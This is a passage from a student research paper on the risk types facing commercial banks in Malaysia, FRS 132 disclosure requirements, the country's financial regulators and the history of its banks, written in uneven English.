financial crisis 1997, significant numbers of bank had bankrupt or were merged with other financial institutions, which proven that, the failure of bank is due to their failure in managing their liquidity risk properly. In other words, during the financial crisis a lot of banks were incapable to provided sufficient amount of money to meet the current need of their investors. As thus, banks had said as to failure to managing their risk properly because do not have enough money liquidity in banks to meet the demand of their investors. From another perspective, big bank may not always be better because increase in organisation may present more problems than it. Bank have found that to survive it is more necessary to have a leading market share in a variety of businesses rather than just having a lot of assets or a huge capital. Thus, proper management of risk related to assets and capital market among bank is crucial. If the bank was able to assess the risk at an early stage, then the bank may be able to plan for appropriate action to be taken to reduce risk before it occurred. 1.1 Risk Management in Banking Sector Driven by the increasing complexity of doing business, risk management has become an important and integral part of the company’s internal control and governance in order to achieve its plans and objectives. In other words, risk management refers to the methods and processes used by organizations to manage risks (or seize opportunities) related to the achievement of their objectives. ( Azlan Amran, Abdul Manaf Rosli Bin and Bin Che Haat Mohd Hassan, 2009) Risk management in general involves identifying; assessing, responding, prioritizing then risk followed by minimization of risk and control the probability of risk. Risk management is entering into many aspects of banking business such as increased attention and concern must be given to ensure the risk under control. Ideally, risk management in the banking sector is to reduce the risk to the minimum. For example, credit approval, the officer can reduce this risk through measure the ability to pay back by customer before approved the credit. In facing the challenge of global financial environment, banking sector is required to implement integrated risk management systems. (Rajna, 1999) They are required to identify their current risk exposure such as market risk. It is a necessary risk-reducing tool to promote long-term profitability and stability of the banks and enhance the competitive advantage of banks. If a bank has right risk management systems that can effectively capture the risk exposures, there is an opportunity for them to lower their capital charges. As a result, proper risk management practice is essential for banks to maintain competitiveness over the long run. Lastly, to manage the risk in banking sector, first the banks need to identify the risk. The risk related to banking consists of credit risk, market risk; interest rate risk, foreign risk, liquidity risk and operation risk. Risk identification is the first stage of risk management. This mean that, banks need to correctly identify the risk such as market risk of the risk expose because it helps to develop basis for next steps analysis and control of risk management. (Lubka Tchankova, 2002) 1.2 Risk Management Disclosure in Banking Sector The purpose of risk management disclosure is to allow financial analysts, shareholders, creditors, clients and any interested parties to rely on minimal standards of quality and consistency in the risk management policies of financial firms. Greater promote transparency of risk management could benefit investors. Increased transparency is considered in the numerous explanations offered in the finance literature for the willingness of firms to voluntarily disclosure complete and timely information. This is said to be benefit investors as they need comprehensive risk information if they are to completely understand the bank’s risk profile. Risk is an unavoidable element of any business venture, especially for banking sector. In addition to financial risk, a company is also susceptible to business risk or changes in the overall economic climate that can adversely affect the price of its securities. Hence, it is in the stakeholders’ best interest that risk be disclosed in a timely manner. (Azlan Amran, Abdul Manaf Rosli Bin and Bin Che Haat Mohd Hassan, 2009) Disclosure of risk management is to promote a more robust financial system. Moreover, can help to promote and maintain a sound financial system by strengthening the incentives for sound risk management within financial institutions and by improving the information which financial institutions use to make credit allocation decisions to the corporate sector. (Rajna Gibson, 1999) Normally, those banks with better disclosure will tend to attract more investor to invest, or clients more willing to place their money in the bank. Besides that, the disclosure of risk management helps to reduces information asymmetry. Investors and shareholder would be able to justify the risk position of the bank through the disclosure of respective financial information. This also can help them to justify whether the manager is acting on the interests of the company. Besides that, disclosure of risk facilitates supervision and reduces monitoring costs. Public disclosures of risk in banks annual report enable the management to foresee the potential problems; therefore can plan to reduce risk in advance, thus it save the monitoring cost indirectly. (Philip, 2005) It is argued that banks that disclose greater amounts of useful risk information would benefit from a reduction in their cost of finance as the providers of funds will be in better position to judge the bank’s risk level and this will remove the need for them to incorporate a risk premium within the cost of capital. (Linsey and Shrives, 2005) 1.3 Types of Risk in Banking Sector Risk of the banking sector can be varied and widely difference across the banking institution. Generally the risk for banks business can classified into five popular categories: credit risk, interest rate risk, foreign exchange risk, liquidity risk, and operating risk. 1. Credit risk Credit risks the most important risk categories in banking. Risk that due to the borrower unable to repay back to the banks. In order word, credit risk is the bank borrower fail to meet its obligations in accordance with agreed terms and conditions. The aim of credit risk management is to maximize a bank’s risk- adjusted rate of return by maintaining credit risk exposure within acceptable boundary. (Catherine Soke Fun Ho, 2009) Bank Negara Malaysia (2009), credit risk continues to remain the largest source of risk for banking institutions in Malaysia. This is due to the fact that a banking institution’s loan portfolio is typically the largest asset and the major source of revenue. 2. Interest rate risk Interest rate risk is one of the market risks. It is the effect of changes in market interest rate levels on the profitability of the bank. Increases in interest rates may lead to higher profits, lower profits, or no change in bank profiles. While the risk due to changes in interest rates has always been a possibility, this source of risk was not considered to be serious as long as interest rates were stable. Changes in interest rates can damage the bank’s profitability by increasing its cost of funds, lowering its returns on earning assets, and reducing the value of the owners’ investment. 3. Foreign exchange risk (Forex) Risk associate with the loss in the exchange of the currency. Foreign exchange risk is the loss being incurred because of being party to a foreign currency transaction or holding a foreign currency changes. For extreme cases, it may involve blocking of convertibility. 4. Liquidity risk Liquidity, or the ability to fund increases in assets and meet obligations as they come due, is crucial to the ongoing viability of any banking organization. Therefore, managing liquidity is among the most important activities conducted by banks. Sound liquidity management can reduce the probability of serious problems. Indeed, the importance of liquidity transcends the individual bank, since a liquidity shortfall at a single institution can have system-wide repercussions. (Basel, Feb 2000) 5. Operating risk This is refers to the risk of losses or unexpected expenses associated with fraud, check kiting, and litigation. According to Bank Negara 2009, large corporate experience of the failures due to fraud and lapses in internal controls has focused greater attention on improving operational risk management in banking institutions. 1.4 Problem Statements Driven by increase competitive in business environment today, risk management is required to be disclosed in financial statements of the companies in complying with FRS 132. However, there is an issue where a lot of companies are not willing to disclose additional voluntary information in the financial statements. As they worry valuable information is available to their rivals and creates competitive disadvantages. Radiah Otman (2009), firm may not like to disclose extensive information that might have future repercussions for their bare existence due to sensitivity of such information. This is one of the problem which investors or others interested parties do not have extensive information to evaluate banks financial performance. Apart from it, he also said that interest rate disclosure was favored as compared to credit risk among the market risks categories. 1.5 Research Question The purpose of this study is to determine the extent to which commercial banks are providing risk management disclosure (qualitative information) suggested under FRS 132. Thus, the specific research questions are: Research question 1: Which type of risk more likely to be disclosed by commercial banks in Malaysia? Research question 2: Do commercial banks provided additional voluntary disclosure? Research question 3: Do the commercial banks in Malaysia disclose financial risk management objectives and policies? 1.5 Objective of the Study The general objective of this study is to examine whether the commercial bank in Malaysia complying with the general risk management guideline that provide by the FRS 132. However, the objective is broken down as below; a) To examine which type of risks are more likely to disclosed by the commercial banks in Malaysia. b) To make the comparison among commercial banks to the extent of the information disclosed in the financial statement. Whether information disclosed is voluntary information or mandatory information. c) To examine whether the commercial banks in Malaysia disclosure financial risk management objectives and policies. d) To examine whether the commercial banks in Malaysia comply with Financial Reporting Standards in Malaysian. 1.6 Conclusion After the financial crisis 1997 and also Enron scandals, it is increased need for the demand of more risk management disclosure. Risk management plays an important role in the global financial sector. Banking sector is inherently involved in risks and these risks need to be managed. Inherent risks are the risk that due by economic environment. Bank is highly exposed to this risk, as so the effective risk management is crucial. It is important for banks to release risk information to the marketplace that enables stakeholders to assess its risk profile. Disclosure of risk in financial statement able to help investors have a better understanding on how firm value is affect by risk exposure, this also can help to reduce information asymmetry between banks, investors and other stakeholders. One of the major problems here is that some companies are not willing to disclose more extensive information in their annual reports as they worry that the information is quantifiable to their competitors. Besides that, when the cost of disclosure is higher than the benefit, they will choose not to disclose the risk information. Thus, this study is to undertake which type of risk is most likely to be disclosed by commercial banks in Malaysia and examine whether the information disclosed is moderately or voluntary disclosed additional information. This study also evaluates the level of compliance among banks in Malaysia, and whether the banks disclosed financial risk management objectives and policies. 2.0 Introduction Prior to British colonial in Malaysia, accounting in Malaysia more emphasis on the recognize expenditure and revenue rather than recognize income. As after the British colonial and the accounting development and structure change over time there is increasing important for the issue such as recognition, measurement, and accountability. However, the accountants prepare the accounting reports is more emphasis on the shareholder needs. This mean they tend to alter the reports to the amount of income at which their shareholder desired in order to attract more investors. Therefore, sometime the annual reports do not actually reflect the fact of the financial position of the company. As for this reason, accounting standards play important roles to ensure that the annual report of the company is complying with the standard that are required. Companies registered in Malaysia must comply with the Company Act 1965. The Act prescribes the preparation of general purpose financial reports by certain categories of companies, and this preparation is subject to regulations from several sources. The provision of information is essential for decision maker such as investors, creditors and interested parties. However, there is a need for regulations and monitoring to ensure that the information provided to such users is reliable and unbiased. As for financial institution in Malaysia the key players in the financial reporting environment consist of Companies Commission of Malaysia; Central Bank; Securities Commission, and Malaysia Accounting Standards board (MASB). 2.1.0 Companies Commission of Malaysia All companies that incorporated under Company Act 1965 are regulated by Companies Commission of Malaysia. The Act requires certain companies, such as public listed companies or private limited companies, to prepare financial statements in accordance with approved accounting standards. Among other functions, CCM monitors compliance with accounting standards and the Company Act 1965. This involves investigating companies that do not comply with accounting standards. The function CCM includes: * enhancement and promotion of the supply of business and corporate information; * acting as agent of the Government and providing services in collecting and enforcing payment of prescribed fees; * regulating matters relating to corporations, companies and business. * encouraging and promoting proper conduct amongst directors, secretaries and other officers of a corporation The Companies Commission has played an active role in the accounting profession and the Malaysian Accounting Standards Board (MASB). Coordinated efforts are undertaken by the profession together with the Companies Commission and the MASB to identify issues that impact the financial and reporting environment. 2.1.1 Central Bank Bank Negara Malaysia is the central bank of Malaysia. The main objectives are to issue currency and maintain reserves in order to safeguard the value of the currency; Act as a banker and financial adviser to the Government; promote monetary stability and a sound financial structure; and influence the credit situation to the advantage of the country. Apart from that, Bank Negara Malaysia also responsible for regulates and supervise the financial system in Malaysia. 2. 1.2 Banking and Financial Institutions Act 1989 (BAFIA) Banking and Financial Institutions Act 1989 (BAFIA) is one of the legislations to regulate and supervise the financial system. The objective of the Banking Financial Institutions Act, 1989 (BAFIA) is to provide new laws for the licensing and regulation of the institutions carrying on banking, finance company, merchant banking, discount house and money-broking business, for the regulation of institutions carrying on certain other financial businesses, and for the matters incidental thereto or connected therewith. BAFIA was introduced to provide for an integrated supervision of the Malaysian financial system and also to provide the Central Bank with the power to speedily investigate and prosecute, if necessary any illegal activities in an attempt o reduce white-collar crime. 2.1.3 Securities Commission (SC) Securities commission was set up under the Securities Commission Act 1993. The function of the Securities Commission is to promote a strong and healthy securities market and to maintain the confidence of investors in line with the provisions of the Securities Commission Act and the Securities Industries Act 1983. SC also regulates the corporate sector, particularly the listed companies. Company that listed in bursa Malaysia required filing detailed annual reports with the Commission. The period of the financial report date and the issue date must not exceed six months. The annual reports must be audited. The public companies are required to maintain a high standard of financial disclosure in order to provide the public with the information that is necessary to make informed investment decisions. The SC played a significant role in the establishment of the Financial Reporting Act 1997 and continues to be involved in the Malaysia Accounting Standards Board (MASB). The function of the SC included: * supervising exchanges, clearing houses and central depositories; * regulating all matters relating to securities and future contracts, unit trust schemes, take- over and mergers of companies; * encouraging self – regulation; * approving authority for corporate bond issues; * licensing and supervising all licensed persons; * ensuring proper conduct of market institutions and licensed persons. The SC has since 1996 embarked on three phase shift towards a Disclosure Based Regulation (DBR). With effect from 2001, it has embarked on a full DBR focus with requirements of high standards of disclosure, due diligence and corporate governance. Disclosure is crucial to investors who wish to invest or who have invested in securities sp that their investment decision process can be facilitated. Due diligence is a process undertaken by companies in disclosing information, to ensure that all information disclosure in full, timely and accurate. Corporate governance is the process and structure used to direct and manage the business and the affairs of the company towards enhancing business prosperity and corporate accountability with the ultimate objective of realizing long- term shareholder value, whilst taking into account the interests of other stakeholders. 2.1.4 Malaysia Accounting Standards Board (MASB) The Financial Reporting Act 1997 establishes the Financial Reporting Foundation (FRF) and the Malaysian Accounting Standards Board (MASB). The main functions of the FRF are to provide the financing arrangements for the operations of the MASB, and review the MASB performance. MASB is an independent authority to develop and issue accounting and financial reporting standards in Malaysia. The main functions of the MASB are to: * issue new accounting standards as approved accounting standards; * review, revise or adopt as approved accounting standards existing accounting standards; * issue statements of principles for financial reporting; * sponsor or undertake development of possible accounting standards; * conduct such public consultation as may be necessary in order to determine the contents of accounting concepts, principles and standards; * develop conceptual framework for the purpose of evaluating proposed accounting standards; * make such changes to the form and content of proposed accounting standards as it considers necessary. The MASB together with the Financial Reporting Foundation (FRF) make up the framework for financial reporting in Malaysia. 2.2.0 FRS132 Disclosure Requirements In Malaysia, Bank Negara Malaysia’s and Financial Reporting Standards’ requirements act as quality control measures for bank to comply in respect of their disclosure contents of their risk in the annual report. FRS 132 (IAS 32) Financial Instruments – Disclosure and Presentation shall apply for annual periods beginning on or after 1January 2006. FRS 132 should be read in the context of its objective and the Basis for Conclusions, the Framework for the Preparation and Presentation of Financial Statements. In this study, FRS will take as the guideline to examine the level of compliance among banks in Malaysia to the extent of risk information disclosed. According to paragraph 56 of FRS132 Financial Instruments – Disclosure and Presentation, there is a specific requirement that an entity shall describe its financial risk management objectives and policies, including its policy for hedging each main type of forecast transaction for which hedge accounting is used. Similarly paragraph 58 of FRS132 Financial Instrument specifies that an entity shall disclose a description of hedge; nature of risk being hedged, and a description of the financial instruments designated as hedging instruments and their fair values at the balance sheet date. For each type of market risk such as interest rate risk, an entity shall disclose information about its exposure to interest rate risk, including effective interest rates and maturity dates (or contractual re-pricing). On the other hand, for credit risk an entity shall disclose the amount that best represents its maximum credit risk exposure as at balance sheet date, without taking into account of the fair value of any collateral, in the event of other parties failing to perform their obligations under financial instruments, and significant concentration of credit risk. 2.2.1 Foreign Exchange Risk Disclosure Format When hedging instruments held or issued by an entity, either individually or as a class, creates a potentially significant exposure to the foreign exchange, commodity and interest rate risks. Their terms and conditions that warrant disclosure are: the principal, stated face value, for derivative such as IRS, forwards and future contracts; date of maturity, early settlement option held by either party to the instrument, including the period in which, or date at which, the options can be exercised and the conversion or exchange ratio. 2.2.2 Interest Rate Risk Disclosure Format The carrying amount of financial instruments exposed to interest rate risk may be presented in tabular form, grouped by those that are contracted to mature or be re-priced in the following periods after the balance sheet date. It can be one year or less; in more than one year but not more than two years; in more than two years but not more than three years; in more than three years but not more than four years; in more than fours but not more than five years; and more than five years. Interest rate information may be disclosed for individual instruments, or weighted average rates or a range of rates may be presented for each class of financial instrument. 2.2.3 Credit risk Disclosure Format The disclosure of the financial assets exposed to credit risk shall include the carrying amount of the assets in the balance sheet, net of any provisions for loss. For example, in the case of an IRS carried at fair value, the maximum exposure to loss at the balance sheet date is normally the carrying amount because it represents the cost, at current market rates, of replacing the swap in the event of default. Besides that, a financial asset subject to legally enforceable right of set-off against a financial liability shall be disclosed. It is intriguing to learn that even though MASB advise companies to disclose liquidity risk but no format has been suggested to date. 2. 3.0 Definition of commercial banks In the early days, commercial banks were commonly known as exchange banks because their business was concentrated mainly in the financing of external trade. This involved primary transactions in foreign exchange, such as remitting and receiving funds to and from abroad, and trading in commercial bills, including the short- term financing of foreign trade. Commercial banks are defined as â€Å"any person who carries on bank business†, under the Banking Act, 1973. Banking business means the business of receiving money on current or deposit account, paying and collecting checks drawn by or paid by customers, and making advances to customers, and include such other business as the Central Bank, with the approval of the Finance Minister, may prescribe. However, definition under the Banking and Finance Institution Act, 1989 (BAFIA) is almost the same as the definition under Banking Act, 1973 in which a bank can be defined as â€Å"individual or organizations† whom operates the business of banking such as receiving deposits for current account, saving account, making payment and receiving customers’ checks and other financing. Today, all the operations in the banking industry are governed by BAFIA, 1989. It is developed to replace the Finance Company Act, 1969 as well as the Banking Act, 1973. The introduction of the BAFIA is intended to provide an integrated supervision of the Malaysian financial system and to modernize and streamline the laws relating to banking and banking institutions. 2.2.1 History of Commercial Banks Commercial banks worldwide are mostly owned by private sectors. They are formed as a business organization with the objective to make profits. In their early establishment in Malaysia, commercial banks have played an important role in the transaction and development in the industry of commerce. The business was mainly focused in financing the overseas business transactions such as foreign exchange (in term of sending and receiving money to and from other countries) and also financing in the short- term markets. The main focus on external transaction was due to the development of economy sector especially in the import and export. Moreover, the business operations at that time were run by the branches with the supervision of their head office in overseas. The first bank branch in Malaysia was Charted Mechantile Bank, in 1959. The bank’s head office was initially in India, and then shifted to London and lastly China. Later, when the economy has developed drastically, there were more foreign bank branches. Today, the traditional practice of the banking industry in Malaysia has progressed. An important feature in the development of banking is the growing of locally incorporated foreign and domestic banks. BAFIA came into force on October 1, 1989 the domestic bank were required to formally exchange their licenses for new ones issued under BAFIA. The foreign banks, however, were given a time period of five years (up to October, 1994) to exchange their licenses in view of the provision requiring them to incorporate locally. The growth of locally incorporated banks marked a significant change in commercial banking in the country which prior to the 1970’s was dominated by foreign banks. As at the end of 1959, there were then only 8 domestic as compared to 18 foreign banks. After 1982, foreign banks had been restricted from opening new branches in Malaysia in line with the policy to encourage the growth and development of domestic banks, particularly the expansion of the branch network into the rural areas. As at December 1996, there are a total of 37 commercial banks with a total branch network of 15